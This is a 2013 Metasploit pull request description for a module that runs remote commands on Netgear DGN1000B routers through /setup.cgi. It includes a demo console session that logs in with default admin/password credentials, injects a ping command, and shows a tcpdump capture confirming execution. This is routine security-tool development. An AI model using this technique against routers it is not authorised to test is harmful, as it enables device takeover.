rapid7/metasploit-framework — pull request #1636 by m-1-k-3 (2013-03-23 16:51:45+00:00)
Title: netgear-dgn1000b-exec initial commit

Hey guys,

the next little router module, this time in netgear dgn1000b device

Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn1000b_exec) > set CMD ping -c 1 192.168.178.105
CMD => ping -c 1 192.168.178.105
Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn1000b_exec) > run

[*] 192.168.178.188:80 - Trying to login with admin / password
200
[+] 192.168.178.188:80 - Successful login admin/password
[*] 192.168.178.188:80 - Sending remote command: ping -c 1 192.168.178.105
[*] 192.168.178.188:80 - Using the following target URL: /setup.cgi
[*] 192.168.178.188:80 - Blind Exploitation - unknown Exploitation state

[*] Auxiliary module execution completed

root@bt:~/msf-git/metasploit-framework# tcpdump -i eth2 'icmp'

17:48:03.044817 IP 192.168.178.188 > 192.168.178.105: ICMP echo request, id 1160, seq 0, length 64
17:48:03.044846 IP 192.168.178.105 > 192.168.178.188: ICMP echo reply, id 1160, seq 0, length 64

More details: http://www.s3cur1ty.de/m1adv2013-005

looking forward to your feedback.

Best,
Mike